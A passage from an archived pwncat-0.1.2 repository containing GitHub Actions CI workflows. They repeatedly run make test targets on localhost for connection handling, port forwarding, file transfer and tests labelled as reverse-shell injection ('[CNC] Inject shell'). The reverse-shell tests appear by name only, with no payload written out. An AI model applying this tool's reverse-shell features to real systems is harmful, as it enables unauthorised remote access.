"TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-windows-3.6.yml000066400000000000000000001203331414025024700225210ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: win-3.6 on: pull_request: push: branches: - master tags: jobs: test: runs-on: windows-latest strategy: fail-fast: False name: "[x64] [windows] python-3.6" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.6 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 # - name: "[OPTIONS] -C/--crlf" # shell: bash # run: | # # retry make _test-options--crlf # env: # RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" 